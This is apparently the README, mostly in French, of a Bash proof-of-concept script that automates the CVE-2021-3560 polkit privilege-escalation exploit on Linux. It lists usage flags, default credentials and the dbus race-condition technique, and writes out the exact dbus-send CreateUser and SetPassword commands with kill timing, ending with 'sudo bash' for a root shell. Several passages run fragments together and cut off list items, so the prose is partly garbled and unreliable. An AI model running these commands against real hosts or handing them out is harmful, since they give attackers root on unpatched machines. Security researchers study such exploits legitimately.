
PoC Bash automatisé pour l'escalade de privilèges CVE-2021-3560 polkit. Exploite une condition de concurrence temporelle dbus pour créer un utilisateur sudo et obtenir un shell root sur les distributions Linux vulnérables.
Ceci est simplement un script Bash PoC qui automatise les étapes d'exploitation mentionnées dans le blog de Kevin Backhouse. Lisez son article sur cette vulnérabilité : https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice et gnome-control-center et qui doivent avoir la version 0.113 (ou ultérieure) de polkit OU la version 0-105-26 (fork Debian de polkit).Ubuntu 20.04, avec la version 0-105-26 de polkit (fork Debian de polkit) et Centos 8 avec la version 0.115 de polkit. Si vous êtes sûr que votre cible est vulnérable, mais que la fonction de vérification de l'exploit échoue, utilisez le drapeau -f=y pour contourner toutes les vérifications et forcer l'exploit.Une explication complète et un PoC pour exploiter manuellement cette vulnérabilité sont donnés en détail sur le blog du chercheur.
TL;DR de cet exploit ci-dessous :
polkit en envoyant un message dbus, mais en fermant brusquement la requête pendant que polkit traite la demande. Ensuite, l'attaquant peut envoyer une seconde requête avec l'identifiant de bus unique de la requête précédente, pour exécuter la requête en tant qu'UID 0 alias root.polkit, car il traite l'UID d'une connexion avec un identifiant de bus qui n'existe plus comme une requête provenant de l'UID 0. Cela signifie que si nous pouvons chronométrer correctement l'attaque et terminer notre première requête au bon moment, nous pouvons alors envoyer la seconde requête avec les privilèges de l'UID 0 alias root.Comme je l'ai dit précédemment, il s'agit simplement d'un script bash qui automatise le PoC de Kevin Backhouse. Les commandes principales sont les mêmes ; j'ai simplement automatisé quelques étapes initiales (comme obtenir le bon timing, scanner la vulnérabilité, insérer des identifiants personnalisés, afficher de jolies couleurs, etc.).
Si ce script est exécuté sans aucun paramètre, le comportement par défaut de ce script est le suivant :
/etc/os-release.]accountservice et gnome-control-center. [Dans les distributions rhel/centos/fedora, utilise rpm -qa et dans les distributions debian/ubuntu, utilise dpkg -l].rhel.centos,fedora et 0-105-26 pour Debian/Ubuntu]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null su - <username> avec le mot de passe fourni au script, puis entrer sudo bash pour obtenir un shell root!Esc pour fermer l'invite d'authentification et sur Ctrl+C pour terminer rapidement le script.$t) est calculé en divisant le temps nécessaire pour la requête par 2. ($t=time-required-to-request/2) [Calculé en utilisant awk]$t), la requête pour insérer $username secnigma sur la cible est répétée 20 fois. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma], alors un hachage de mot de passe est généré [en utilisant bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!